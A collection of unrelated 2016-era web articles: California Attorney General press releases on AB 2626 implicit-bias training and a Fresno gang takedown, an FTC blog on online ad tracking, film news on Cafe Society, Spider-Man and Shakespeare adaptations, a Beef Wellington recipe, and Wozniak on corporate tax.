Bias in policing undermines the publics trust and has devastating effects on the safety and well-being of our communities, said Attorney General Harris. AB 2626 will establish a critical new law enforcement training that leads with the community policing principles of respect and dialogue, and directly addresses the crisis of confidence between peace officers and the communities we are sworn to protect.

"As Chair of the Select Committee on the Status of Boys and Men of Color in California, I was proud to introduce AB 2626 with Assemblymember Jones-Sawyer to address implicit bias," said Assemblymember Bonta. "AB 2626 will strengthen the relationship between law enforcement and the community and help ensure better outcomes during police-community interactions. We know that working with the community, and truly understanding the communitys experiences, can reduce crime and promote respect for the rule of law. AB 2626 will help rebuild community trust in law enforcement, stop the disproportionate flow of boys and men of color in to our criminal justice system, and ensure that every Californian experiences real, unfettered justice."

Procedural justice is an approach to policing that emphasizes the importance of treating everyone equally and with respect. Implicit bias, which is thoughts or feelings about social groups that can influence decisions or actions, can be a barrier to procedural justice. The training proposed in AB 2626 would work to create statewide awareness of both procedural justice and implicit bias in order to build trust and improve public and officer safety.

In addition, AB 2626 would require POST to develop guidelines and trainings enabling peace officers to teach the course to other officers in their agencies. If passed, the bill will require POST to offer the basic principled policing course and the trainer course beginning in June 2017.

It is undeniable that racial profiling continues to exist within policing and the criminal justice system, said Assembly Member Reginald Jones-Sawyer. In order to reduce incidents of police brutality it is critical that law enforcement receive training on how to overcome implicit racial bias.

On behalf of POST, we are proud to join Attorney General Harris in offering this innovative course on Principled Policing. said Bob Stresak, Executive Director of POST. The high enrollment in this course is a testament to California's law enforcement leaders recognizing that California's communities deserve the highest levels of professional service and that they are committed to making every effort to accomplish this goal.

In November 2015, the California Department of Justice held the first trainings of its POST-certified course, Principled Policing: Procedural Justice and Implicit Bias. The trainings were conducted in partnership with the Stanford University Center for Social Psychology Answers to Real World Questions (SPARQ), Stanford Professor Jennifer Eberhardt, Reverend Ben McBride from the Empower Initiative, the Oakland and Stockton Police Departments, and the community organization California Partnership for Safe Communities.

A white paper evaluating the Principled Policing training, published jointly by the Department of Justice and Stanford University Center for SPARQ, assessed the effectiveness of the course in educating police officers about procedural justice and implicit bias, as well as shifts in perceptions about police-community relations. According to this evaluation, the course unearthed tremendous hidden potential for the principled policing training to build greater understanding between law enforcement and communities.

This training was developed as part of the California Department of Justices 90-Day Review of its own special agent training programs on implicit bias and use of force which were announced in April 2015.

Since January 2015, Attorney General Harris has taken several steps to strengthen the trust between law enforcement and California communities. These actions include:
Attorney General Kamala D. Harris Announces Takedown of Fresno Gang, Dog Pound Gangsters

Fresno, California - Attorney General Kamala D. Harris today announced a takedown targeting the Dog Pound Gangsters, a Fresno-area criminal organization, following a year-long joint investigation by the California Department of Justices Bureau of Investigation Special Operations Unit (SOU) and the Fresno Police Department.

The investigation, Operation Dog Track, resulted in the arrests of 28 individuals who have been charged with a range of federal crimes, including conspiracy to commit murder, human trafficking, and fraud. Those arrested are expected to be prosecuted by the U.S. Attorneys office for the Eastern District of California.

Street gangs must be held accountable for terrorizing our communities, said Attorney General Kamala D. Harris. Im thankful for the bravery and diligence of our Special Agents, the Fresno Police Department, and the other local, state, and federal law enforcement agencies working together to dismantle criminal organizations and protect victims of trafficking and fraud throughout the Central Valley.

"The dismantling of the Dog Pound Gang's leadership will send a shockwave throughout the gang community and significantly reduce gang violence in Fresno for many years," said Fresno Police Chief Jerry Dyer.

The Special Operations Unit (SOU) is a collaborative investigative effort between the California Department of Justice and the California Highway Patrol (CHP) that provides statewide enforcement for combating violent career criminals, gangs, and organized crime groups, along with intrastate drug traffickers.

A partnership like the California Department of Justice SOU, working with allied law enforcement agencies, was crucial to this important investigation, CHP Commissioner Joe Farrow said. I am proud the CHP was able to provide its expertise and thank everyone involved for their dedication and professionalism.

The joint investigation found that the Fresno Dog Pound Gangsters have transported human trafficking victims across state lines, in violation of the federal Mann Act, primarily victimizing women to generate income that funds other criminal activities.

According to the affidavit, the Fresno Dog Pound Gangsters have also been involved in violent crimes, credit card fraud, and bank fraud. Several violent assaults, murders, and shootings were solved or circumvented as a result of this investigation.

Attorney General Harris released a 2014 report, Gangs Beyond Borders: California and the Fight Against Transnational Organized Crime, which is the first comprehensive report analyzing the current state of transnational criminal organizations in California. The report identified human trafficking as an emerging aspect of these organizations criminal activities, and made recommendations to address this issue, including by funding state task forces to investigate and disrupt these organizations.

In 2014, Attorney General Kamala D. Harris and California Highway Patrol Commissioner Joe Farrow worked with the Legislature and Governor Browns administration to secure $9.4 million for California DOJ Bureau of Investigations SOU teams. These unique and essential teams use the latest technology and advanced investigative techniques and work alongside local law enforcement to enhance investigations into violent criminals and organized crime throughout the state.

Since 2012, the California Department of Justices Bureau of Investigation Special Operations Unit (SOU) has arrested 551 individuals and seized over one million dollars in cash, 20 pounds of heroin, 64 pounds of methamphetamine, 145 pounds of marijuana, 13 pounds of cocaine, and over 400 weapons.
Keeping Up with the Online Advertising Industry

Washington, DC - Last week, I had the pleasure of sitting down for some Q&A with members of the Network Advertising Initiative (NAI), one of the leading self-regulatory organizations for the online, interest-based advertising industry. One of the questions they posed was what additional actions industry should be taking to address online tracking as it develops ever more complex technologies. My answer? Tell people how theyre being tracked and offer them easy-to-use tools to block all of the techniques used to track them.

Industry has moved well beyond cookie-based tracking, and the choices offered to people must keep pace with whats happening in the marketplace.

For years, the online ad industry has collected detailed information about peoples activities as they search, shop, and interact online, and has used complex data analyses to make predictions about individuals and their likely behavior. The goal is to provide advertising that is more relevant to a particular persons interests and more likely to lead to purchases. Theres no doubt many people benefit from these practices. They get ads that are more targeted to their preferences, and these ads help support online content and services they might otherwise have to pay for.

But  and there is a but  the privacy concerns are very real too. Companies are using the data they collect to build highly detailed profiles about individuals, and many of the companies involved in this process are behind the scenes, completely invisible to most of us. Companies also are using high-tech techniques to uniquely identify the devices people carry with them everywhere. And as we explored at a recent FTC workshop, industry has started to connect peoples digital interactions across the different devices they use in a practice known as cross-device tracking.

Since 2000, the NAI has worked hard to develop self-regulatory standards that provide information and choices to people about online tracking. And since 2009, the Digital Advertising Alliance (DAA) has too. Both organizations have developed codes of conduct that cover numerous companies in the online advertising ecosystem and include meaningful enforcement programs. And both provide people with tools to limit the collection and use of their data for targeted advertising. Recently, the NAI and DAA have made strides when it comes to cross-device tracking. DAA now offers an opt-out to prevent the collection of tracking data on one device from informing ads across devices, and NAI has issued guidance and is working on a tool for its members.

These are important steps forward, but more is needed to keep pace  and in fact, stay ahead of  the rapid changes taking place in the marketplace. As I told the NAI, the disclosures and choices companies offer to people must address the many forms of tracking companies are using, including proprietary techniques that combine technologies like cookies, fingerprinting, cookie syncing, and many others. They also must apply when companies track consumers not on one, but across multiple devices. People cant be led to believe tracking is more limited than it is, or that theyve blocked all tracking when thats not the case. And if the choices offered to people dont cover all the ways a company tracks them, the company must clearly and prominently say so. I also told the NAI that these choices must be easy to understand and use, and shouldnt require multiple steps.

Why is this important? For one thing, the failure to provide truthful and complete information to consumers about tracking could be deceptive under the FTC Act. Just look at our cases against Epic Marketplace, ScanScout, and Chitika, which charged these companies with misrepresenting their tracking practices and choices. Or our recent warning letters to app developers who installed TV-monitoring software in their apps without telling people who downloaded the apps.

For another thing, gaining peoples trust is important for the continued growth of the industry. Surveys increasingly show that people care about privacy, that it affects who they do business with, and that theyre using their browsers and other tools to protect their privacy. For example, were seeing more and more people adopt ad blockers, which no doubt hurts industrys bottom line. Theyre also using other privacy tools to protect themselves, such as clearing their cookies, avoiding the use of their names, and using virtual networks to mask their IP addresses. One reason we may be seeing this trend is that people dont feel they have simple, easy-to-use, and comprehensive choices when it comes to online tracking. Certainly, industry would be better off providing these choices themselves, and gaining peoples trust, rather than having people block advertisements altogether.

I also discussed with the NAI the Commissions position on persistent identifiers and privacy. As the FTC has discussed for years now  see our the 2009 staff report on online behavioral advertising and our 2012 Privacy Report  we regard data as personally identifiable, and thus warranting privacy protections, when it can be reasonably linked to a particular person, computer, or device. In many cases, persistent identifiers such as device identifiers, MAC addresses, static IP addresses, or cookies meet this test. For this reason, in the Commissions 2013 amendments to the Childrens Online Privacy Protection Rule, it modified the definition of personal information to include a persistent identifier that can be used to recognize a user over time and across different Web sites or online services [including but not limited to] a customer number held in a cookie, an Internet Protocol (IP) address, a processor or device serial number, or unique device identifier.

Even without a name, you can learn a lot about people if you use a persistent identifier to track their activities over time on a particular device. You also can communicate with them. So what does that mean for the online advertising industry? If youre collecting persistent identifiers, be careful about making blanket statements to people assuring them that you dont collect any personal information or that the data you collect is anonymous. And as you assess the risks to the data you collect, consider all your data, not just the data associated with a persons name or email address. Certainly, all forms of personal information dont need the same level of protection, but youll want to provide protections that are appropriate to the risks.

The online advertising industry has made significant progress in providing people with information and choices about online tracking. As technology and tracking techniques continue to advance, industry must keep pace to ensure that their disclosures and tools adequately protect people and dont mislead them. I look forward to continuing this important, positive dialogue with the online advertising community.
'May I Come In': Elephant Tries to Enter Moving Bus, Driver Drives Off Slowly
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"Life is a comedy, written by a sadistic comedy writer."

The first trailer for Woody Allen's latest, Cafe Society, has arrived; ahead of its world premiere as the opening film at this year's Cannes Film Festival. There's certainly nothing surprising to be found here: Allen's released a film every year since 1981, and the director has long ago honed his own directorial style into a precise, reliable formula.

In short, Cafe Society is absolutely, effervescently Allen. Love him or hate him, at least there's no second guessing him. Indeed, every expected element is in place here: the jazz standard, the Bronx accents, the sun-dappled hues, the Socrates quote.

Jesse Eisenberg returns to Allen's work after To Rome with Love; it wouldn't be so surprising if Eisenberg becomes a regular of the director, in fact, considering how perfectly he captures Allen's own nervy line delivery. He's the ideal pseudo-Allen for every non-Allen starring film, essentially. Here he stars as a young man who travels from the Bronx to capture the grand Hollywood dream, though seems to get a little distracted by the promise of romantic intrigue.

It's certainly boasting a momentous cast: Kristen Stewart, Steve Carell, Blake Lively, Parker Posey, Jeannie Berlin, Corey Stoll, and Ken Stott all star.

Cafe Society opens the festival on Wednesday 11 May in the Palais des Festival's Grand Theatre Lumiere; which then runs until 22 May. A UK release date is yet to be set.
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There's still a week to go before the release of Captain America: Civil War and casting announcements are being made surrounding the release of future superhero film Spider-Man: Homecoming.

With a release date set for July 2017, production is due to begin on Sony's franchise reboot extremely soon - and Deadline has confirmed that Robert Downey Jr. is on board to return as Tony Stark in what will be his eighth appearance as the character.

Starring as a much younger incarnation of the web-slinger is 19-year-old British actor Tom Holland who will make his debut as Peter Parker in Civil War; critics are praising his appearance, citing it a highlight of the new superhero mash-up.

Our very own review stated that "Civil War has its most fun with the former and his monumental Marvel homecoming."

Upcoming Marvel films Show all 10 1 /10 Upcoming Marvel films Upcoming Marvel films In 2019: Inhumans 12 July 2019 Upcoming Marvel films In 2019: Avengers: Infinity War Part 2 3 May 2019 Marvel Upcoming Marvel films In 2018: Black Panther 6 July 2018 Marvel Upcoming Marvel films In 2018: Avengers: Infinity War Part 1 4 May 2018 Marvel Upcoming Marvel films In 2017: Thor: Ragnarok 3 November 2017 Marvel Upcoming Marvel films In 2017: Untitled Spider-Man 28 July 2017 Marvel Upcoming Marvel films In 2017: Guardians of the Galaxy 2 5 May 2017 Marvel Upcoming Marvel films In 2016: Doctor Strange 4 November 2016 Marvel Upcoming Marvel films In 2016: Captain America: Civil War 6 May 2016 Marvel Upcoming Marvel films In 2015: Ant-Man 17 July 2015 Marvel

Kevin Feige, head of Marvel Studios, claimed that the deal struck by Sony and Marvel has provided the opportunity for characters previously introduced in the Marvel Cinematic Universe (MCU) to show up in Sony's upcoming Spidey films.

 Captain America: Civil War Clip - Just Like We Practiced

If the film's comic book namesake is to be trusted, Downey Jr. won't be the only character from the MCU featuring: the Homecoming storyline features Captain America (Chris Evans), Thor (Chris Hemsworth), Hawkeye (Jeremy Renner) and War Machine (Don Cheadle) as well as Wasp - the character played by Evangeline Lilly in Ant-Man.

It was recently reported that Birdman actor Michael Keaton was in talks to star as the film's villain, Vulture (yes, a literal birdman) - but it has since emerged that the former Batman has withdrawn from the project.

With the plot of Civil War - released 29 April - focused on a battle between Avengers Captain America and Iron Man, we'll go ahead and pretend that Downey Jr's casting doesn't eliminate a tiny bit of tension surrounding the film's climax. Still, who knows: Homecoming - which will be directed by Jon Watts - could always be a prequel.
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You just cant escape Shakespeare on screen. An estimated 500 adaptations of his plays were made in the silent era alone. Since then, there have been westerns, sci-fi pictures, B-movies, gangster films and samurai versions of the writers work. He has inspired several musicals, lots of comedies, teen romances, beatnik dramas and some horror films too. The real mystery is why so few of them have been any good.

David Thompsons All The Worlds A Screen: Shakespeare On Film, a BBC Four Arena documentary to be broadcast this weekend, makes the argument that Laurence Oliviers wartime Henry V (1944) was the first really decent Shakespeare movie. It took 50 years for his work to be turned into a truly cinematic experience, the documentary tells us. Olivier himself was convinced that his film eclipsed everything that had come before it. He had finally found a way to make Shakespeare cinematic. It helped that the film had an obvious topicality. It was a nationalistic, morale-boosting war movie which found a very receptive audience in wartime Britain.

All The Worlds A Screen includes black and white footage of Olivier in military uniform, doing his bit for propaganda, giving a speech to the armed forces. He declaims his lines in exactly the same way as the soliloquies in Henry V.

Laurence Oliver plays Henry V in the 1944 film of the same name



Earlier Shakespeare adaptations had been hamstrung by their piety. They were often very stagy. In the early days of the Twentieth Century, several of the great actor-managers took their chances in front of the film cameras - but with very variable results.

Sir Herbert Tree appeared in King John in 1899, one of the very first Shakespeare films. This was very definitely a miss, a determinedly eccentric endeavour, shot on Londons Embankment and recreating a stage production. Tree himself later admitted it was entirely without meaning except to those who were perfectly familiar with the play and could recall the lines appropriate to the action. Tree was later to star as Macbeth for the great American director, D,W. Griffith, and again struggled to make sense of the fact that no-one could hear the soliloquies.

Griffith had also directed an early version of Taming Of The Shrew (1908) boasting a very lively performance from Florence Lawrence, the first movie star.

BFI's Shakespeare On Film collection Show all 22 1 /22 BFI's Shakespeare On Film collection BFI's Shakespeare On Film collection Richard III (1911) A record of F.R. Benson's production at Shakespeare's Memorial Theatre in Stratford BFI's Shakespeare On Film collection Hamlet (1913) Directed by Hay Plumb BFI's Shakespeare On Film collection The Winter's Tale (1913) Directed by Baldassare Negroni BFI's Shakespeare On Film collection Around the Town No.110 (1922) A four-minute short following an unconvincing Shakespeare who mopes his way around Stratford BFI's Shakespeare On Film collection You Made Me Love You (1933) Directed by Monty Banks BFI's Shakespeare On Film collection Men Are Not Gods (1936) BFI's Shakespeare On Film collection Henry V (1944) Directed by Laurence Olivier BFI's Shakespeare On Film collection Time Flies (1944) Directed by Walter Forde BFI's Shakespeare On Film collection Romeo and Juliet (1954) Directed by Renato Castellani BFI's Shakespeare On Film collection Next (1955) Directed by Barry Purves BFI's Shakespeare On Film collection Throne of Blood (1957) Directed by Akira Kurosawa BFI's Shakespeare On Film collection The Bad Sleep Well (1960) Directed by Akira Kurosawa BFI's Shakespeare On Film collection All Night Long (1962) Directed by Basil Dearden BFI's Shakespeare On Film collection The Tempest (1979) Directed by Derek Jarman BFI's Shakespeare On Film collection The Angelic Conversation (1985) Directed by Derek Jarman BFI's Shakespeare On Film collection Richard III (1995) Directed by Richard Loncraine BFI's Shakespeare On Film collection Shakespeare In Love (1998) Directed by John Madden BFI's Shakespeare On Film collection The Banquet (2006) Directed by Feng Xiaogang BFI's Shakespeare On Film collection Macbeth (2009) Directed by Georgina Lamb and Rupert Goold BFI's Shakespeare On Film collection Julius Caesar (2012) Directed by Gregory Doran BFI's Shakespeare On Film collection Bill (2015) Directed by Richard Bracewell BFI's Shakespeare On Film collection Macbeth (2015) Directed by Justin Kurzel

Back in Britain, Sir Johnston Forbes-Robertson, the supreme Hamlet of our time as he was called, made a film version of Hamlet in 1913. An actor known for his delicate gestures and beautiful speaking voice, Forbes-Robertson didnt make any concessions to the cinematic medium at all. Although the film was silent and shot on location, he still recited his lines as if he was centre stage at the Old Vic. That film was most certainly a miss, albeit a historical curiosity.

The argument that silent versions of Shakespeare were undermined because the audience couldnt hear the verse doesnt really stack up. Akira Kurosawas Throne Of Blood (1957), inspired by Macbeth, disregarded the verse entirely and transplanted the action to feudal Japan. What Kurosawa demonstrated was that there was primal intensity in Shakespeares storytelling that had nothing to do with the soliloquies. This intensity was also evident in Ran (1985), his astonishing version of King Lear in which an ageing Japanese warlord tries to divide up his kingdom and unleashes chaos and destruction as a result. You can draw a line from Shakespeare through Kurosawa to Star Wars. George Lucass characters and plot-lines arent so different from those found in Macbeth and King Lear.

Akira Kurosawas 1957 Throne Of Blood film was based on Shakespeare's Macbeth



There have been many bad and misconceived versions of Romeo and Juliet. The BBC Arena documentary shows clips of one starring a 43-year-old Leslie Howard as Romeo. (Howard looks more like a dashing home counties commuter than a lovelorn adolescent from Verona.) Franco Zeffirellis 1968 Romeo And Juliet works brilliantly for the same reason that Oliviers Henry V hit the mark. It is a film made for its time. Zeffirelli took the common sense decision actually to cast good looking teenagers (Leonard Whiting and Olivia Hussey) as the young lovers and then to encourage them to give naturalistic, Method-style performances. It was a film that was both true to its source material and that caught the mood of the hedonistic late 1960s.

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One reason Roman Polanskis Macbeth (1971) feels so chilling is the echoes it carries of the directors own life. He was enraged that the press tried to draw connections between the murder of his wife Sharon Tate by members of Charles Mansons family and the bloody events in Shakespeares play. Nonetheless, he did acknowledge that the film reflected what he had experienced as a child in Nazi-occupied Poland. When they (the Nazis) were raiding houses, you always heard those screams everywhere - on the second floor, the ground floor. It was like stereo in your apartment. You had people screamingeither they were beating someone or shooting someone or dragging someone out. I remember that.

Shakespeare plays adapted by the BBC for TV Show all 37 1 /37 Shakespeare plays adapted by the BBC for TV Shakespeare plays adapted by the BBC for TV Anthony and Cleopatra Colin Blakely as Anthony BBC Shakespeare plays adapted by the BBC for TV Henry VIII Timothy West as Wolsey Shakespeare plays adapted by the BBC for TV The Two Gentlemen of Verona Tessa Peake Jones as Julia disguised as Sebastian Tyler Butterworth as Proteus BBC Shakespeare plays adapted by the BBC for TV Romeo and Juliet Patrick Ryecart as Romeo Rebecca Saire as Juliet BBC Shakespeare plays adapted by the BBC for TV Othello Anthony Hopkins as Othello Bob Hoskins as Iago BBC Shakespeare plays adapted by the BBC for TV Titus Andronicus Hugh Quarshie as Aaron BBC Shakespeare plays adapted by the BBC for TV The Comedy of Errors Roger Daltrey as Dromio BBC Shakespeare plays adapted by the BBC for TV Twelfth Night Felicity Kendall as Viola BBC Shakespeare plays adapted by the BBC for TV Measure for Measure Adrienne Corri as Mistress Overdone BBC Shakespeare plays adapted by the BBC for TV As You Like It Brian Stirner as Orlando, Helen Mirren as Rosalind BBC Shakespeare plays adapted by the BBC for TV Henry VI Part Three Brian Protheroe as King Edward BBC Shakespeare plays adapted by the BBC for TV Henry IV Part One Jack Galloway as Poins Anthony Quayle as Falstaff BBC Shakespeare plays adapted by the BBC for TV Cymbeline Claire Bloom as Queen BBC Shakespeare plays adapted by the BBC for TV King Lear Brenda Blethyn as Cordelia BBC Shakespeare plays adapted by the BBC for TV Hamlet Derek Jacobi BBC Shakespeare plays adapted by the BBC for TV Timon of Athens Jonathan Pryce as Timon BBC Shakespeare plays adapted by the BBC for TV Julius Caesar Charles Gray as Caesar Keith Michell as Marc Antony BBC Shakespeare plays adapted by the BBC for TV Henry VI Part Two Anthony Quayle as Falstaff and Robert Eddistone as Justice Robert Shallow BBC Shakespeare plays adapted by the BBC for TV All's Well That Ends Well Donald Sinden as the King of France BBC Shakespeare plays adapted by the BBC for TV Richard II Ian McKellen as Richard II with Timothy West as Bollingbroke BBC Shakespeare plays adapted by the BBC for TV Love's Labour's Lost Maureen Lipman as the Princess of France Jenny Agutter as Rosaline BBC Shakespeare plays adapted by the BBC for TV MacBeth Nicol Williamson as Macbeth Jane Lapotaire as Lady Macbeth BBC Shakespeare plays adapted by the BBC for TV Henry IV Part Two David Gwillim as Henry Prince of Wales BBC Shakespeare plays adapted by the BBC for TV King John Leonard Rossiter as King John BBC Shakespeare plays adapted by the BBC for TV Henry V Robert Harris as Duke of Burgundy BBC Shakespeare plays adapted by the BBC for TV Much Ado About Nothing Robert Lindsay as Benedick Cherie Lunghi as Beatrice BBC Shakespeare plays adapted by the BBC for TV Midsummer Nights Dream Phil Daniels as Puck, Peter McEnery as Oberon and Helen Mirren as Titania. BBC Shakespeare plays adapted by the BBC for TV Troilus and Cressida Anton Lesser as Troilus BBC Shakespeare plays adapted by the BBC for TV The Tragedy of Richard The Third Zoe Wannamaker as Lady Anne BBC Shakespeare plays adapted by the BBC for TV The Tempest Andrew Sachs as Trinculo, Nigel Hawthorne as Stephano BBC Shakespeare plays adapted by the BBC for TV Merchant of Venice Gemma Jones as Portia and John Nettles as Bassanio. BBC Shakespeare plays adapted by the BBC for TV Taming of the Shrew John Cleese BBC Shakespeare plays adapted by the BBC for TV Richard III Ron Cook as Richard III BBC Shakespeare plays adapted by the BBC for TV A Winters Tale Jeremy Kemp as Leontes BBC Shakespeare plays adapted by the BBC for TV Henry VI Part One Peter Benson as Henry VI BBC Shakespeare plays adapted by the BBC for TV Pericles Amanda Redman as Marina BBC Shakespeare plays adapted by the BBC for TV The Merry Wives of Windsor Prunella Scales as Mistress Page BBC



To many critics, the very greatest Shakespeare screen adaptation is Orson Welles Chimes At Midnight, his lament for a merrie England of decency, chivalry and humour that may never really have existed. Falstaff (played by Welles himself) is the unlikely hero of the film, whose script is pulled together from five different Shakespeare plays. It is not a smooth piece of filmmaking at all. Like almost all of Welles movies, it was dogged by difficulties with financiers. What it possesses, though, is a sense of innocence and nostalgia that is quite magical.

If you cant watch Chimes At Midnight, maybe look out for Star Trek VI: The Undiscovered Country. As that film reveals, snobbery about the bard extends even to the further reaches of the galaxy. As the Klingon Chancellor Gorkon (David Warner) insists, youve not experienced Shakespeare until you have read him in the original Klingon.

All The Worlds A Screen: Shakespeare On Film screens on BBC FOUR on Sunday. The 30th-anniversary digital restoration of Ran is released on DVD & BLU-RAY 2 MAY.
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Beef Wellington always makes a triumphant dish to serve up for Sunday lunch or a special occasion. Graham Campbell's version is served with parsley root puree, mini fondants, sauteed kale, and rosemary jus. But feel free to keep the dish as simple or as complex as you wish.

Ingredients

Beef

800g of beef fillet

vegetable oil

salt

Pancake mix



80g of flour

210ml of milk

2 eggs

vegetable oil

Beef Wellington



1 sheet of puff pastry

40g of butter

200g of mushrooms, finely chopped

2 shallots, finely diced

1 garlic clove, minced

50ml of white wine

1 bunch of chives, chopped

20g of Dijon mustard

Rosemary jus



50ml of red wine vinegar

100ml of red wine

100ml of port

100ml of Madeira

650ml of beef stock

3 sprigs of fresh rosemary

Mini fondants

12 new potatoes

100g of butter

1 sprig of fresh rosemary

salt

Parsley root puree

300g of parsley root

150ml of cream

150ml of milk

salt

Sauteed kale

100g of kale

1 knob of butter

salt

Preheat the oven to 200C/gas mark 6

Place a frying pan over a high heat and add a small dash of vegetable oil. Once hot, generously season the beef with salt and evenly sear the entire beef fillet until browned. Remove from the pan and leave to cool.

To make the pancake mix, combine one egg, the flour and milk together in a mixing bowl. Whisk thoroughly until smooth.

Place a non-stick frying pan over a medium heat and add enough vegetable oil to just coat the base of the pan. Add approximately 60ml of the pancake mix to the pan and spread and cook to form a crepe-like finish. Repeat until all the pancake mix has been used up. This recipe will allow for extra as well.

Place a saucepan over a medium heat and add the butter. Once hot and melted, sweat off the mushrooms, shallots and garlic, until all the moisture has been released from the mushrooms and the pan is almost dry.

Add the white wine, then reduce until almost dry. Remove from the heat, add the chopped chives and transfer into a blender. Blitz until smooth, season to taste with salt and set aside.

Food trends in 2016 Show all 11 1 /11 Food trends in 2016 Food trends in 2016 Celeriac root We had a kale obsession in 2015, but 2016s vegetable sine qua non is predicted to be the knobbly celeriac root. Celeriac milk (Tom Hunt at Poco in Bristol serves it with winter mussels and wild water celery), celeriac cooked in Galician beef fat (from Adam Rawson of Pachamama, hot new chef in the capital) and salt-baked celeriac (to be found in Matthew and Iain Penningtons kitchens at The Ethicurean in the West Country) are just a few examples. Getty Images Food trends in 2016 Middle Eastern food The Middle Eastern Vegetarian Cookbook (24.95, Phaidon) by grand-dame Salma Hage, author of the bestseller The Lebanese Kitchen (whose halva is pictured here), is out in April  Liz & Max Haarala Hamilton Food trends in 2016 Non-alcoholic cocktails Grain Store mixologist Tony Conigliaro has created Roman Redhead, a riot of red grape juice, beetroot, pale ale and verjus, and Rose Iced Tea (black tea, rose petals, anise essence, pictured here) Food trends in 2016 Gin The discerning will be slurping Hepple gin  from chef Valentine Warner and cocktail guru Nick Strangeway  which is punctuated with bog-myrtle nuances Food trends in 2016 Argyll and Bute Restaurant followers are getting in a froth about Pam Brunton in Scotland, who opened the Inver restaurant in Argyll and Bute to acclaim last year Food trends in 2016 Andy Olivers Som Saa One of the most eagerly awaited restaurants of 2016 will be the permanent incarnation of Andy Olivers remarkable pop-up Som Saa opening very soon in east London. Oliver, who worked at Thai god David Thompsons Nahm in Bangkok, raised a whopping 700,000 through crowdfunding, and is renowned for his piquant Thai flavours and obsessive attention to detail, including in his home ferments and DIY coconut cream  Adam Weatherley Food trends in 2016 Venison Another ruminant in vogue is venison, with Sainsburys doubling its line for 2016. It provides a protein-packed punch, with B vitamins and iron, and its low in fat. Its entry into the mainstream is in part thanks to the Scottish restaurant Mac and Wild, just opened in London, whose Celtic head chef Andy Waugh (who also runs the Wild Game Co) has been touting it as street food for years (his venison burger pictured here) Food trends in 2016 Goat From Brett Grahams The Ledbury to Angela Hartnetts kitchens at Lime Wood Hotel in the New Forest, Cabrito is the go-to goat supplier among the chef cognoscenti (roasted loin of kid pictured here)  but this year, domestic cooks can get in on the action, as Sushila Moles and James Whetlor of Cabrito offer their meat through Ocado Mike Lusmore / mikelusmore.com Food trends in 2016 Coffee Coffee sage George Crawford is launching the much-anticipated Cupsmith with his partner, Emma. Crawford believes that 2016 is the year purist coffee will finally meet the masses; Cupsmiths mission will be to make craft coffee as popular as craft beer on the high street. The company roasts Arabica beans in small batches, improving its quality  but sells it online, at cupsmith.com, in an approachable way: expect cheerful packaging and names such as Afternoon Reviver Coffee (designed for drinking with milk  no matter how uncouth, most of us want milk) and Glorious Espresso Julia Conway Food trends in 2016 120-day-old steak Hanging meat for extremely long lengths of time has become an art. In Cumbria, Lake Road Kitchens James Cross is plating up 120-day-old steak (pictured here). The beef is from influential ager Dan Austin of Lake District Farmers, who is currently investigating the individual bacterial cultures that go into this maturing process Food trends in 2016 Lotus root Diners can expect root-to-stem dining - cue the full lotus deployed by the Michelin-starred Indian Benares in its kamal kakdi aur paneer korma Getty Images

Once the beef fillet is completely cool, spread each pancake evenly with mustard and the mushroom mix. Lay the pancakes down to form one rectangular base. Wrap the pancakes around the beef.

Lay out the puff pastry with the longest side parallel to the edge of the work surface. Place the beef fillet at the edge and roll over into the pasty to encase the entire beef fillet. Seal the edge by gently pressing together, making sure the seal is used as the base of the Wellington by laying it face down on a baking tray.

Beat the remaining egg in a small bowl and, using a pastry brush, brush the pastry with the egg wash. Set aside in the fridge while you prepare the other elements.

For the rosemary jus, place a medium saucepan over a high heat, add the red wine vinegar and reduce until almost dry. Then add the red wine and reduce until almost dry again. This will concentrate the flavour of the base of the jus.

Repeat the process with the port, followed by the Madeira. Lastly, add the beef stock and rosemary, bring to a simmer and reduce to the desired consistency. This will usually be by 1/4 to 1/2 until you have a thin gravy-like consistency.

Pass the jus through a fine strainer, season to taste and set aside. The jus can be prepared ahead of time and frozen up to a week in advance.

For the fondants, cut the top and bottom off each potato so they stand flat in the pan. Heat the butter in a wide, high-sided saucepan and evenly place the potatoes, flat-side down, into the pan. Continue to cook on a medium heat until golden brown and then turn to achieve the same colour on the opposite side.

Add enough water to just cover the potatoes. Add the rosemary and a generous pinch of salt and bring to a gentle simmer.

Increase the heat and cook the potatoes to reduce the liquid until there is no water left and the bases of the potatoes are browned. When ready, remove from the heat and set aside to keep warm.

For the parsley root puree, peel and trim the roots, cut into small chunks and place into a small saucepan. Cover with the cream and milk and place over a medium heat. Bring to a gentle simmer and allow to cook until soft and tender, around 20-30 minutes.

Recommended Read more 6 reasons why St George is the perfect symbol of multiculturalism

Strain off (but reserve) the cream mixture. Add the parsley root to a blender with a little of the cream mixture and blitz on a slow speed. Once the mixture is smooth, increase the speed, adding a little more of the cream mixture to form a thick puree.

Pass through a fine strainer, season with salt and set aside.

Preheat the oven to 190C/gas mark 5. Remove the beef fillet from the fridge and allow to stand for 15 minutes. Place into the oven for 15-20 minutes for a medium rare finish (internal temperature of 65C). Remove and allow to rest for five more minutes.

Meanwhile, prepare a large pot of salted boiling water. Remove and discard any large stems from the kale and tear up the leaves into large pieces. Cook for two minutes.

While the kale is cooking, place a pan over a medium heat and fry the butter until it foams. Once the kale has been in the water for two minutes, remove, strain thoroughly and add to the foaming butter. Season to taste with salt and set aside to keep warm.

Reheat the potatoes, jus and puree. Slice the Wellington into portions, smear a spoonful of puree on the plate followed by the kale. Place the beef on the plate and finish with a generous saucing of the rosemary jus. Serve immediately.

This recipe first appeared on Great British Chefs. Take a look at their recipe collection for some more St George's Day dishes.
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The co-founder of Apple has said that all companies should pay a 50 per cent tax rate.

Steve Wozniak, who founded Apple with Steve Jobs in 1976, told the BBC that he doesn't like to think that Apple wouldn't pay the same rate of tax as a person.

"I do a lot of work, I do a lot of travel and I pay over 50 per cent of anything I make in taxes and I believe that's part of life and you should do it," he said.

When asked if he thought Apple should pay 50 per cent tax, he said: "I think every company in the world should."

Apple is registered to pay tax in Ireland on much of its European business, where tax is 12.5 per cent compared to the 25 per cent in the UK.

Corporate tax is 35 per cent in the US, but Oxfam data has shown that Apple has an effective US tax rate of 26 per cent because of money it receives in tax breaks and almost $200 million held offshore.

Apple has three subsidiaries in Ireland, the company confirmed.

Apple, Google and Amazon are part of a European Commission tax enquiry. A European Commission investigation has revealed that Apple may owe as much as $8 billion (5.6 billion) in taxes.

Wozniak, who left Apple in 1985, said he and Jobs assumed when they founded Apple that they would pay taxes on it.

